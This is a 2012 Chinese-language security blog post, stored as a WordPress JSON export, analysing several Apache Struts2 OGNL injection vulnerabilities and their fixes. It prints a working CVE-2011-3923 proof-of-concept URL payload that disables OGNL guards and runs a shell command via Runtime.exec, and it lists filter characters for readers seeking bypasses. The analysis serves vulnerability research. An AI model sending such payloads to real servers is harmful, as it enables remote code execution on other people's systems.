{"id":481,"date":"2012-11-22T20:39:08","date_gmt":"2012-11-22T12:39:08","guid":{"rendered":"http:\/\/inbreak.net\/?p=481"},"modified":"2012-11-22T20:39:08","modified_gmt":"2012-11-22T12:39:08","slug":"struts2%e5%a4%9a%e4%b8%aa%e6%bc%8f%e6%b4%9e%e7%ae%80%e8%a6%81%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"https:\/\/www.inbreak.net\/archives\/481.html","title":{"rendered":"Struts2\u591a\u4e2a\u6f0f\u6d1e\u7b80\u8981\u5206\u6790"},"content":{"rendered":"

by kxlzx http:\/\/inbreak.net
\n1\u6708\u4efd\uff0cSEC Cousult\u53d1\u5e03\u4e86\u4e00\u7bc7\u5173\u4e8estruts2\u6f0f\u6d1e\u7684\u6587\u7ae0\uff0c\u5199\u52304\u4e2astruts2\u7684\u6700\u65b0\u6f0f\u6d1e\u3002\u4e00\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u505a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff0c\u4e00\u4e2a\u6f0f\u6d1e\u5f15\u51fa\u4e86\u65b0\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff0c\u4e00\u4e2a\u6f0f\u6d1e\u66fe\u7ecf\u6211\u5728blog\u4e0a\u53d1\u5e03\u8fc7\uff08\u6ca1\u6709\u6295CVE\uff09\uff0c\u4ee5\u53ca\u4e00\u4e2a\u4e4b\u524d\u4e5f\u66fe\u770b\u5230\u8fc7\uff0c\u4f46\u662f\u8ba4\u4e3a\u662f\u9e21\u808b\u7684\u6f0f\u6d1e\u3002<\/p>\n

\u8fd9\u7bc7\u6587\u7ae0\u9898\u76ee\u53eb\u505a
\n\u300aMultiple critical vulnerabilities in Apache Struts2\u300b<\/a>
\n\u56db\u4e2a\u6f0f\u6d1e\uff0c\u672c\u6587\u4e00\u4e2a\u4e00\u4e2a\u7684\u8bb2\u4e00\u8bb2\u5b83\u4eec\u7684\u524d\u4e16\u4eca\u751f\u3002<\/p>\n

Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)<\/strong>
\n\u65b0\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u5df2\u7ecf\u5728\u6211\u7684blog\u5206\u6790\u8fc7\u5b83\u7684\u5229\u7528\u548c\u5206\u6790\u6587\u7ae0\uff0c\u5177\u4f53\u5730\u5740\u5728
\n\u300aSTRUTS2\u7c7b\u578b\u8f6c\u6362\u9519\u8bef\u5bfc\u81f4OGNL\u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u5206\u6790\u300b<\/a>http:\/\/inbreak.net\/archives\/363
\n\u8fd9\u91cc\u5c31\u4e0d\u518d\u591a\u8bb2\uff0c\u6211\u731c\u60f3\u6216\u8bb8\u5c31\u662f\u56e0\u4e3a\u8fd9\u4e2a\u6f0f\u6d1e\u88ab\u4eba\u7206\u4e86\u51fa\u6765\uff0c\u624d\u5f15\u51fa\u4e86\u8001\u5916\u53d1\u7684\u8fd9\u7bc7\u6587\u7ae0\u3002<\/p>\n

Remote command execution in Struts <= 2.3.1 (CookieInterceptor)<\/strong>
\nCOOKIE\u62e6\u622a\u5668\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff0c\u8fd9\u770b\u8d77\u6765\u8868\u9762\u4e0a\u5f88\u56a3\u5f20\u7684\u6837\u5b50\uff0c\u4f46\u5176\u5b9e\u8f83\u5c11\u7528\u5230\uff0c\u81f3\u5c11\u9ed8\u8ba4\u662f\u4e0d\u7528\u7684\uff0c\u5fc5\u987b\u8981\u5f00\u53d1\u4eba\u5458\u624b\u5de5\u914d\u7f6e\u67d0\u4e2aaction\u624d\u53ef\u4ee5\u653b\u51fb\uff0c\u6ce8\u610f\u662f\u4e00\u4e2a\u5355\u72ec\u7684action\uff0c\u4e0d\u61c2\u8fd9\u4e2a\u7684\u53ef\u4ee5\u7406\u89e3\u4e3aURL\u3002\u653b\u51fb\u8005\u53ef\u80fd\u4e0d\u77e5\u9053\u662f\u5177\u4f53\u54ea\u4e2aaction\u542f\u7528\u4e86\u8fd9\u4e2a\u914d\u7f6e\uff0c\u8fd9\u4f1a\u5bfc\u81f4\u589e\u52a0\u4e86\u6f0f\u6d1e\u53d1\u73b0\u7684\u96be\u5ea6\u3002\u4e5f\u8bb8\u653b\u51fb\u8005\u8981\u626b\u63cf\u6240\u6709\u7684action\uff0c\u624d\u80fd\u78b0\u5de7\u9047\u5230\u4e00\u4e2a\u505a\u8fd9\u6837\u914d\u7f6e\u7684\u5730\u65b9\u3002\u6839\u636e\u4f5c\u8005\u7684\u7ecf\u9a8c\uff0c\u4e5f\u8bb8\u653b\u51fb\u8005\u8981\u626b\u63cf\u5f88\u591aSTRUTS2\u5e94\u7528\uff0c\u624d\u80fd\u9047\u5230\u4e00\u4e2a\u7528\u5230\u8fd9\u4e2a\u6280\u672f\u7684\u5e94\u7528\u3002<\/p>\n

\u4e0b\u9762\u7684\u4ee3\u7801\u662f\u793a\u4f8b\uff1a<\/p>\n

\r\n\t\t\r\n\t\t\t\r\n\t\t\t\t*<\/param>\r\n\t\t\t\t*<\/param>\r\n\t\t\t<\/interceptor-ref>\r\n\t\t\t\/T1.jsp<\/result>\r\n\t\t<\/action>\r\n<\/pre>\n
\u53ef\u4ee5\u770b\u5230\uff0c\u8fd9\u662f\u4e00\u4e2a\u53ea\u9488\u5bf9testCookie\u8fd9\u4e2aaction\u7684\u914d\u7f6e\u3002
\n\u7531\u4e8eCookieInterceptor\u5728\u5904\u7406cookiesName\u65f6\uff0c\u4f1a\u904d\u5386cookiesMap\uff0c\u628acookie\u4e2d\u7684\u6bcf\u4e2akey\u548cvalue\u505a\u5982\u4e0b\uff1a<\/p>\n
\r\nstack.setValue(cookieName, cookieValue);\r\n<\/pre>\n
\u8fd9\u6837\u7684OGNL\u8d4b\u503c\u5904\u7406\u3002\u53ef\u4ee5\u770b\u5230\uff0ccookiename\u5c06\u4f1a\u4f5c\u4e3a\u4e00\u4e2aognl\u8868\u8fbe\u5f0f\u6267\u884c\u3002cookiename\u521a\u597d\u662f\u7528\u6237\u63d0\u4ea4\u6765\u7684\uff0c\u6240\u4ee5\u89e6\u53d1\u4e86\u6f0f\u6d1e\u3002\u901a\u5e38\u5e94\u7528\u7a0b\u5e8f\u90fd\u4f1a\u6307\u5b9a\u4e00\u4e2acookiename\uff0c\u53ea\u63a5\u53d7\u6307\u5b9acookiename\uff0c\u8fd9\u6837\u505a\u662f\u4e0d\u5b58\u5728\u6f0f\u6d1e\u7684\u3002\u4f46\u662f\u5982\u679c\u771f\u7684\u6709\u5f00\u53d1\uff0c\u628a\u5b83\u914d\u7f6e\u4e3a\u201c*\u201d\u53f7\uff0c\u8fd9\u6837\u5c31\u5141\u8bb8\u63a5\u53d7\u6240\u6709\u7684cookiename\uff0c\u4e5f\u5c31\u5b58\u5728\u6f0f\u6d1e\u4e86\u3002<\/p>\n
\u9664\u6b64\u4e4b\u5916\uff0c\u4e00\u4e2a\u4e0d\u53ef\u5ffd\u89c6\u7684\u9650\u5236\uff0c\u662ftomcat\u7b49\u670d\u52a1\u5668\u662f\u9ed8\u8ba4\u4e0d\u5141\u8bb8\u5f88\u591a\u975e\u4e3b\u6d41\u7b26\u53f7\uff0c\u8fd9\u5bfc\u81f4\u8fd9\u79cd\u653b\u51fb\uff0c\u5728tomcat\u670d\u52a1\u5668\u4e0b\uff0c\u65e0\u6cd5\u8fdb\u884c\uff0c\u8fd9\u4e2a\u95ee\u9898\u6682\u65f6\u6ca1\u6709\u53d1\u73b0\u7ed5\u8fc7\u7684\u65b9\u5f0f\u3002<\/p>\n
\u76f8\u5173\u4ee3\u7801\u5982\u4e0b\uff0c\u7ed9\u5404\u4f4d\u559c\u6b22bypass\u7684\u540c\u5b66\u505a\u53c2\u8003\uff1a<\/p>\n
\r\n\/\/\u4ee5\u4e0b\u4e3acookieName\u4e2d\u4e0d\u5141\u8bb8\u7684\u5b57\u7b26\r\npublic static final char SEPARATORS[] = { '\\t', ' ', '\\\"', '(', ')', ',', ':', ';', '<', '=', '>', '?', '@', '[', '\\\\', ']', '{', '}' };\r\n<\/pre>\n
\u603b\u4e4b\u5f88\u5c11\u7528\u5230\uff0c\u610f\u5473\u7740\u5f88\u9e21\u808b\uff0c\u4e0d\u662f\u6211\u4eec\u60f3\u8c61\u4e2d\u7684\uff0c\u53ea\u8981\u6709COOKIE\u5c31\u9ed8\u8ba4\u5904\u7406\u3002\u5373\u4f7f\u5f00\u53d1\u4eba\u5458\u9700\u8981\u5904\u7406cookie\uff0c\u4e5f\u4e0d\u89c1\u5f97\u4f1a\u4f7f\u7528\u8fd9\u4e2a\u4e1c\u897f\uff0c\u5728\u4ee5\u5f80\u6240\u63a5\u89e6\u5230\u7684\u9879\u76ee\u4e2d\uff0c\u4ece\u6765\u6ca1\u6709\u89c1\u8fc7\u8fd9\u79cd\u914d\u7f6e\u65b9\u6cd5\u3002<\/p>\n
\u8fd8\u6709\u66f4\u6709\u8da3\u7684\u5730\u65b9\uff0c\u8fd9\u80af\u5b9a\u662f\u4e2a\u5f69\u86cb\uff0cstruts\u7ed9\u51fa\u7684\u5b98\u65b9\u4fee\u8865\u65b9\u6848\uff0c\u5c45\u7136\u72af\u4e86\u4e00\u4e2a\u9519\u8bef\u3002\u9996\u5148\u770b\u770b\u5b98\u65b9\u516c\u544a\uff1a<\/p>\n
\r\nhttp:\/\/struts.apache.org\/2.x\/docs\/s2-008.html\r\n<\/pre>\n
\u7279\u610f\u6293\u4e2a\u56fe\u8bc1\u660e\u3002
\n\"\"
\n\u89e3\u51b3\u65b9\u6848\u662f\u8fd9\u6837\u8bb2\u7684\uff1a<\/p>\n
\r\nUpdate to Struts 2.3.1 and apply a stronger acceptedParamNames filter to the ParameterInterceptor and CookieInterceptor:\r\nacceptedParamNames = \"[a-zA-Z0-9\\.][()_']+\";\r\n<\/pre>\n
\u4fee\u8865\u8fd9\u4e2a\u6f0f\u6d1e\u53ea\u9700\u8981\u5728CookieInterceptor\u8fd9\u4e2a\u62e6\u622a\u5668\u4ee3\u7801\u4e2d\uff0c\u52a0\u5165\u4e00\u4e2a\u767d\u540d\u5355\u5217\u8868\uff0c\u6ce8\u610f\u8fd9\u4e2a\u5217\u8868\u4e2d\uff0c\u662f\u6709\u201c\u5c0f\u62ec\u53f7\u201d\u7b26\u53f7\u7684\uff08\u5c0f\u62ec\u53f7\u7684\u4f5c\u7528\uff0c\u53ef\u4ee5\u89c1\u672c\u6587\u4e0b\u4e00\u4e2a\u5c0f\u8282\uff09\u3002\u8fd8\u597dstruts\u5728\u771f\u6b63\u5b9e\u73b0\u7684\u4ee3\u7801\u4e2d\uff0c\u5e76\u6ca1\u6709\u8fd9\u6837\u505a\uff0c\u800c\u662f\u628a\u5c0f\u62ec\u53f7\u4e5f\u53bb\u6389\u4e86\uff0c\u5426\u5219\u8fd9\u53c8\u662f\u4e00\u4e2abypass\uff0c\u540e\u9762\u7684\u5185\u5bb9\u4f1a\u8be6\u7ec6\u8bb2\u89e3\u6709\u6ca1\u6709\u5c0f\u62ec\u53f7\u7684\u533a\u522b\u3002<\/p>\n
Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)<\/strong>
\n\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u8bb2\u7684\u662f\u56e0\u4e3a\u6ca1\u6709\u8fc7\u6ee4\u5c0f\u62ec\u53f7\u800c\u5bfc\u81f4\u7684\u95ee\u9898\uff0c\u5176\u5b9e\u6211\u7684blog\u6bd4\u4ed6\u5148\u7206\u51fa\u6765\uff0c\u53ea\u662f\u5728\u5229\u7528\u65b9\u5f0f\u4e0a\uff0c\u5e76\u6ca1\u6709\u60f3\u5230\u4f7f\u7528
\njava.io.FileWriter
\n\u53bb\u5199\u4e2a\u7a7a\u7684\u6587\u4ef6\u51fa\u6765\uff0c\u8986\u76d6\u539f\u672c\u7684\u6587\u4ef6\u5185\u5bb9\u3002
\n\u6211\u7684blog\u66fe\u7ecf\u53d1\u7684\u4e00\u7bc7\uff0c\u76ee\u7684\u662fDOS\u653b\u51fb\uff0c\u7ed3\u5408java\u4e00\u4e9b\u7248\u672c\u7684\u6f0f\u6d1e\uff0cnew\u51fa\u6765\u4e00\u4e2a\u6d6e\u70b9\u578b\u7684\u53d8\u91cf\uff0c\u5177\u4f53\u6f0f\u6d1e\u7ec6\u8282\u89c1\u4ee5\u4e0b\u6587\u7ae0\u3002
\n\u300aStruts 2.2.3 DOS\u6f0f\u6d1e\u300b<\/a>http:\/\/inbreak.net\/archives\/274
\n\u5f53\u65f6\u6ca1\u6709\u62a5\u544aCVE\uff0c\u6240\u4ee5\u5927\u5bb6\u53ef\u80fd\u4e0d\u77e5\u9053\u3002\u5f53\u7136\uff0c\u6211\u627f\u8ba4\u4ed6\u4eec\u5229\u7528\u7684\u6bd4\u6211\u7cbe\u5f69\u3002
\n\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u7cbe\u5f69\u70b9\uff0c\u5176\u5b9e\u5e76\u4e0d\u5728\u8c01\u5148\u53d1\u73b0\u7684\uff0c\u4e5f\u4e0d\u5728\u4e8e\u8c01\u5229\u7528\u7684\u66f4\u597d\uff0c\u91cd\u70b9\u662f\u8fd9\u4e2a\u56e2\u961f\u5728\u4f7f\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u65f6\uff0c\u53d1\u51fa\u6765\u4e00\u4e2aOGNL\u8bed\u6cd5\u5c0f\u6280\u5de7\u3002\u8fd9\u4e2a\u5c0f\u5c0f\u7684\u6280\u5de7\uff0c\u521a\u597d\u8ba9\u4e00\u4e2a\u5927\u725b\u770b\u5230\u4e86\uff0c\u4e8e\u662f\u5f15\u51fa\u4e86\u4e00\u4e2a\u4e0d\u4e9a\u4e8e\u5f53\u5e74\u79d2\u6740\u6240\u6709struts\u6846\u67b6\u7684\u6f0f\u6d1e\u3002
\n\u6211\u76f8\u4fe1\uff0c\u5f88\u591a\u4eba\u90fd\u548c\u6211\u4e00\u6837\uff0c\u5782\u9996\u987f\u8db3\u7684\u5728\u8bb2\uff1a\u201c\u64e6\uff01\u6211\u600e\u4e48\u6ca1\u60f3\u5230\u201d\uff0c\u5f53\u7136\uff0c\u4ed6\u4eec\u53ef\u80fd\u8bf4\u7684\u662f\u82f1\u6587\u7248\u3002
\n\u8fd9\u4e2a\u6280\u5de7\u5148\u4e0d\u8bb2\uff0c\u4e5f\u5c31\u662f\u5c0f\u62ec\u53f7\u7684\u4e8b\u60c5\uff0c\u7b49\u4e0b\u4e00\u4e2a\u6f0f\u6d1e\u518d\u8bb2\u3002<\/p>\n
Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)<\/strong>
\n\u770b\u5230\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u6211\u771f\u7684\u65e0\u8bed\u4e86\uff0c\u8001\u5916\u8fd9\u662f\u9e21\u808b\u7684\u8d85\u795e\u4e86\u3002\u4e00\u70b9\u5b9e\u7528\u4ef7\u503c\u90fd\u6ca1\u6709\u7684\u6f0f\u6d1e\uff0c\u4e8b\u5b9e\u4e0a\uff0c\u6211\u5728\u770b\u4ee3\u7801\u65f6\uff0c\u4e00\u770b\u5230struts\u4ee3\u7801\u4e2d\u51fa\u73b0\uff1a<\/p>\n
\r\nIf (devMode) XXXXX\r\n<\/pre>\n
\u5c31\u81ea\u89c9\u8df3\u8fc7\u4e86\u3002
\n\u539f\u56e0\u662f\u6211\u8ba4\u4e3a\u6ca1\u6709\u4eba\u4f1a\u50bb\u5230\u628adebug\u9ed8\u8ba4\u5f00\u5230\u516c\u7f51\u4e0a\u53bb\uff0c\u800cstruts\u5b98\u65b9\u4e5f\u9119\u89c6\u4e86\u4e00\u4e0b\u8fd9\u4e2a\u6f0f\u6d1e\uff1a<\/p>\n
\r\nWhile not being a security vulnerability itself\u2026\u2026balabala\u2026\r\n<\/pre>\n
\u5f00\u542fdebug\u6a21\u5f0f\uff0c\u610f\u5473\u7740\u901f\u5ea6\u8d85\u7ea7\u6162\uff0c\u610f\u5473\u7740\u5927\u6279\u7684\u65e0\u610f\u4e49\u7684log\u6587\u4ef6\u8f93\u51fa\u3002\u6240\u4ee5\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u6ca1\u4ec0\u4e48\u53ef\u8bb2\u7684\uff0c\u5df2\u7ecf\u9e21\u808b\u5230\u57fa\u672c\u4e0a\u4f60\u4e0d\u4f1a\u89c1\u5230\u4e86\u3002
\n\u5b83\u7684\u5177\u4f53\u6210\u56e0\uff0c\u662f\u5f53\u4e00\u4e2a\u5f00\u53d1\u4eba\u5458\u5b9e\u5728\u7b28\u5230\u5565\u90fd\u8981\u95ee\u5143\u82b3\u7684\u5730\u6b65\uff0c\u4ee5\u81f3\u4e8e\u5728\u7ebf\u4e0a\u5f00\u542fdebug\u6a21\u5f0f\u540e\uff0cstruts2\u4f1a\u6709\u4e00\u4e2a\u4e13\u95e8\u7684\u62e6\u622a\u5668\uff0c\u7528\u4e8e\u5904\u7406\u7279\u6b8a\u7684\u53c2\u6570\uff0c\u5f53\u8fd9\u4e2a\u62e6\u622a\u5668\u63a5\u6536ognl\u547d\u4ee4\u65f6\uff0c\u53ef\u4ee5\u76f4\u63a5\u6267\u884c\uff0c\u65b9\u4fbf\u5f00\u53d1\u4eba\u5458\u505a\u8c03\u8bd5\u3002\u786e\u5207\u7684\u8bf4\uff0c\u8fd9\u5e76\u4e0d\u662f\u6f0f\u6d1e\uff0c\u800c\u662fstruts2\u4e13\u95e8\u7ed9\u5f00\u53d1\u4eba\u5458\u7684\u8c03\u8bd5\u6a21\u5f0f\u3002
\n\u4ece\u9ed1\u5ba2\u6280\u672f\u7684\u89d2\u5ea6\u4e0a\u8bb2\uff0c\u603b\u4f1a\u6709\u5f00\u53d1\u4eba\u5458\u8fd9\u4e48\u505a\uff0c\u6240\u4ee5\u4e0d\u8be5\u653e\u8fc7\uff0cPOC\u5927\u5bb6\u53ef\u4ee5\u7559\u7740\uff0c\u597d\u6d88\u606f\u662f\u5b98\u65b9\u4e0d\u51c6\u5907\u51fa\u8865\u4e01\uff0c\u53ea\u662f\u8f7b\u8f7b\u7684\u9119\u89c6\u4e86\u4e00\u4e0b\u8fd9\u4e48\u505a\u7684\u5f00\u53d1\u4eba\u5458\u3002<\/p>\n
CVE-2011-3923: Yet another Struts2 Remote Code Execution<\/strong>
\n\u524d\u6587\u4e24\u6b21\u63d0\u5230\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u8fd9\u662f\u6700\u65b0\u7684BYPASS\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u53d1\u5e03\u8005\u770b\u5230\u4e86\u4e0a\u6587\u6240\u8ff0\u7684\u201cArbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)\u201d\u6f0f\u6d1e\u7684\u5229\u7528\u6280\u5de7\uff0c\u7a81\u7136\u6765\u4e86\u7075\u611f\uff0c\u624d\u6709\u4e86\u8fd9\u7bc7bypass\u3002\u8fd9\u4e2a\u8001\u5916\u771f\u7684\u5f88\u5b9e\u8bda\uff0c\u53d1\u73b0\u6f0f\u6d1e\uff0c\u7acb\u523b\u5c31\u7206\u51fa\u6765\u4e86\uff0c\u90fd\u6ca1\u6709\u5728\u624b\u91cc\u6342\u70ed\u4e86\u3002\n\u539f\u6587\u5730\u5740\u5728\n\n\n
\r\nhttp:\/\/blog.o0o.nu\/2012\/01\/cve-2011-3923-yet-another-struts2.html\r\n<\/pre>\n
bypass\u7684\u539f\u7406\u662f\u5229\u7528\u4e86ognl\u7684\u6267\u884c\u987a\u5e8f\u3002
\n\u5047\u8bbe\u6709ognl\u8bed\u53e5\u5982\u4e0b\uff1a
\n\uff08\u8868\u8fbe\u5f0f1\uff09\uff08\u8868\u8fbe\u5f0f2\uff09
\n\u8fd9\u6837\u7684\u8bed\u53e5\uff0cognl\u4f1a\u9996\u5148\u6267\u884c\u201c\u8868\u8fbe\u5f0f1\u201d\uff0c\u5047\u8bbe\u5f97\u51fa\u7ed3\u679c\u4e3a\u201c12345\u201d\uff0c\u540e\u7eed\u6d41\u7a0b\uff0c\u4f1a\u628a\u201c12345\u201d\u4f5c\u4e3a\u4e00\u4e2a\u8868\u8fbe\u5f0f\u518d\u6b21\u6267\u884c\u3002
\n\u770b\u770b\u8fd9\u6b21\u65b0\u7ed9\u51fa\u7684exp<\/p>\n
\r\n\/myaction?foo=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir \/tmp\/PWND'))(meh)&z[(foo)('meh')]=true\r\n<\/pre>\n
\u6709\u5f88\u591a\u4eba\u770b\u4e0d\u61c2\u8fd9\u4e2aPOC\uff0c\u5c31\u6765\u95ee\u8fc7\u6211\uff0c\u4e3a\u4ec0\u4e48\u8fd9\u6837\u7684\u90fd\u6ca1\u6709\u62e6\u622a\uff1fstruts2\u4e0d\u662f\u5df2\u7ecf\u505a\u4e86\u62e6\u622a\u4e48\uff1f
\n\u6211\u7684\u56de\u7b54\u662f\uff0c\u8bf7\u5927\u5bb6\u770b\u6e05\u695a\u4e86\uff0c\u4ee5\u524d\u7684\u62e6\u622a\u662f\u9488\u5bf9\u53c2\u6570\u540d\u79f0\u7684\uff0c\u800c\u8fd9\u4e2aPOC\u7684\u53c2\u6570\u540d\u79f0\u6709\u201c#\u201d\u53f7\u4e48\uff1f\u7b54\u6848\u662f\u6728\u6709\u3002
\n\u6839\u636e\u539f\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u9996\u5148\u5b9a\u4e49\u8868\u8fbe\u5f0f1\u7684\u503c\uff0c\u662f\u4e00\u4e2aognl\u8868\u8fbe\u5f0f\uff0c\u5c31\u50cfexp\u4e2d\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bb5\uff1a<\/p>\n
\r\nfoo=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir \/tmp\/PWND'))(meh)\r\n<\/pre>\n
\u8fd9\u662f\u4e00\u4e2a\u5f88\u6b63\u5e38\u7684get\u53c2\u6570\u8d4b\u503c\u3002\u5c31\u50cfusername=kxlzx\u4e00\u6837\u6b63\u5e38\u3002
\n\u5728\u65e9\u671f\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u4fee\u8865\u4e2d\uff0c\u4f1a\u5224\u65ad\u53c2\u6570\u540d\u79f0\u662f\u5426\u5b89\u5168\uff0c\u800c\u8fd9\u91cc\u7684\u53c2\u6570\u540d\u79f0\u53eb\u505a\u201cfoo\u201d\uff0c\u8fd9\u5f53\u7136\u662f\u5b89\u5168\u7684\u3002
\nExp\u7684\u7b2c\u4e8c\u4e2a\u5b57\u6bb5\uff1a
\n&z[(foo)(‘meh’)]=true
\n\u8fd9\u91cc\u5199\u7684\u975e\u5e38\u590d\u6742\uff0c\u5176\u5b9e\u8fd8\u662f\u90a3\u4e2a\u539f\u7406\uff0cfoo\u5728\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u4e2d\uff0c\u5df2\u7ecf\u88ab\u8d4b\u503c\u4e86\uff0c\u8fd9\u91cc\u76f4\u63a5\u4f7f\u7528foo\u7684\u503c\uff0c\u4f5c\u4e3a\u65b0\u7684\u8868\u8fbe\u5f0f\uff0c\u518d\u6b21\u6267\u884c\u6389\u4e86\u3002
\n\u5bf9\u4e8e\u8fd9\u4e2aexp\uff0c\u53ea\u6709\u4e00\u4e2a\u8981\u6c42\uff0c\u5c31\u662fexp\u5bf9\u5e94\u7684myaction\u4e2d\uff0c\u5fc5\u987b\u6709\u5b9a\u4e49\u4e00\u4e2astring\u7c7b\u578b\u7684\u5b57\u6bb5\uff1a<\/p>\n
\r\nprivate String foo;\r\n\r\npublic void setFoo(String foo) {\r\nthis.foo = foo;\r\n}\r\n\r\npublic String getFoo() {\r\nreturn foo;\r\n}\r\n<\/pre>\n
\u53ea\u8981\u8fd9\u662f\u4e2astring\u7c7b\u578b\u7684\u5b57\u6bb5\u5c31\u53ef\u4ee5\u7684\uff0c\u4e5f\u8bb8\u5e76\u4e0d\u53ebfoo\uff0c\u53eb\u505ausername\u7b49\uff0c\u603b\u4e4b\u5fc5\u987b\u662fstring\u7c7b\u578b\u7684\u4e00\u4e2a\u5b57\u6bb5\u3002\u8981\u627e\u5230\u8fd9\u6837\u7684\u4e00\u4e2aaction\u975e\u5e38\u5bb9\u6613\uff0c\u5fc5\u987b\u7528\u6237\u6ce8\u518c\u554a\uff0c\u7528\u6237\u767b\u5f55\u554a\uff0c\u5fc5\u7136\u4f1a\u6709\u7684\u3002
\n\u5982\u679c\u627e\u5230\u4e86\u53eb\u505ausername\u7684\u5b57\u6bb5\uff0c\u8fd9\u4e2aexp\u5c31\u8981\u53d8\u4e3a\uff1a<\/p>\n
\r\n\/myaction?username=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir \/tmp\/PWND'))(meh)&z[(username)('meh')]=true\r\n<\/pre>\n
\u65e2\u7136\u8bf4\u5230\u8fd9\u91cc\uff0c\u5c31\u4e0d\u5f97\u4e0d\u63d2\u4e00\u53e5\uff0c\u8fd9\u7bc7\u6587\u7ae0\uff0c\u5176\u5b9e\u662f\u6211\u5728\u5f88\u4e45\u4e4b\u524d\uff0c\u8001\u5916\u521a\u53d1\u51fa\u6765\u6ca1\u591a\u4e45\u5c31\u5199\u6210\u7684\uff0c\u4f46\u662f\u5f88\u9057\u61be\uff0c\u76f4\u5230\u6211\u53bbxcon2012\u6f14\u8bb2\u90fd\u6ca1\u6709\u53d1\u51fa\u6765\u3002\u800c\u6211\u5728xcon2012\u6f14\u8bb2\u7684\u5185\u5bb9\uff0c\u521a\u597d\u5c31\u5305\u62ec\u4e86\u8fd9\u4e2a\u9650\u5236\u7684\u7ed5\u8fc7\uff0c\u6240\u4ee5\u5f3a\u70c8\u63a8\u8350\u5927\u5bb6\u53ef\u4ee5\u53bb\u770b\u770b\u90a3\u7bc7\u6587\u7ae0\u3002
\n\u300aXcon2012 \u653b\u51fbJAVA WEB\u8bae\u9898\u4e0b\u8f7d\u300b<\/a>http:\/\/inbreak.net\/archives\/477
\n\u4ece\u6548\u679c\u6765\u770b\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u5df2\u7ecf\u65e0\u9650\u63a5\u8fd1\u4e862010\u5e74\u7206\u51fa\u7684\u90a3\u4e2a\u6f0f\u6d1e\u4e86\uff0c\u5e76\u4e14\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u4e0d\u50cf\u4ee5\u524d\u7684\u90a3\u4e2a\u56e0\u4e3a\u51fa\u4e86\u5229\u7528\u5de5\u5177\uff0c\u6240\u4ee5\u5728\u56fd\u5185\u7092\u7684\u5f88\u5389\u5bb3\uff0c\u8fd9\u4e2a\u77e5\u9053\u7684\u4eba\uff0c\u53ef\u80fd\u4e0d\u591a\u5462\u3002
\nWooyun\u4e0a\u90a3\u4e9b\u66fe\u7ecf\u53d1\u751f\u8fc7struts2\u6f0f\u6d1e\u7684\u7f51\u7ad9\uff0c\u73b0\u5728\u6253\u4e86\u8865\u4e01\uff0c\u4f46\u662f\u771f\u7684\u662f\u6700\u65b0\u7684\u4e48\uff1f\u6253\u4e86\u8865\u4e01\u4e4b\u540e\uff0c\u6709\u518d\u6b21\u66f4\u65b0\u4e48\uff1f
\n\u6709\u670b\u53cb\u8bb2\u8fc7\u4e00\u53e5\u8bdd\uff0cstruts\u5c31\u662f\u4e00\u4e2a\u7b5b\u5b50\uff0c\u6211\u8868\u793a\u8ba4\u53ef\u3002
\nby kxlzx http:\/\/inbreak.net<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u6708\u4efd\uff0cSEC Cousult\u53d1\u5e03\u4e86\u4e00\u7bc7\u5173\u4e8estruts2\u6f0f\u6d1e\u7684\u6587\u7ae0\uff0c\u5199\u52304\u4e2astruts2\u7684\u6700\u65b0\u6f0f\u6d1e\u3002\u4e00\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u505a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff0c\u4e00\u4e2a\u6f0f\u6d1e\u5f15\u51fa\u4e86\u65b0\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff0c\u4e00\u4e2a\u6f0f\u6d1e\u66fe\u7ecf\u6211\u5728blog\u4e0a\u53d1\u5e03\u8fc7\uff08\u6ca1\u6709\u6295CVE\uff09\uff0c\u4ee5\u53ca\u4e00\u4e2a\u4e4b\u524d\u4e5f\u66fe\u770b\u5230\u8fc7\uff0c\u4f46\u662f\u8ba4\u4e3a\u662f\u9e21\u808b\u7684\u6f0f\u6d1e\u3002\u672c\u6587\u662f\u5bf9\u8fd9\u51e0\u4e2a\u6f0f\u6d1e\u7684\u5206\u6790\u3002<\/p>\n
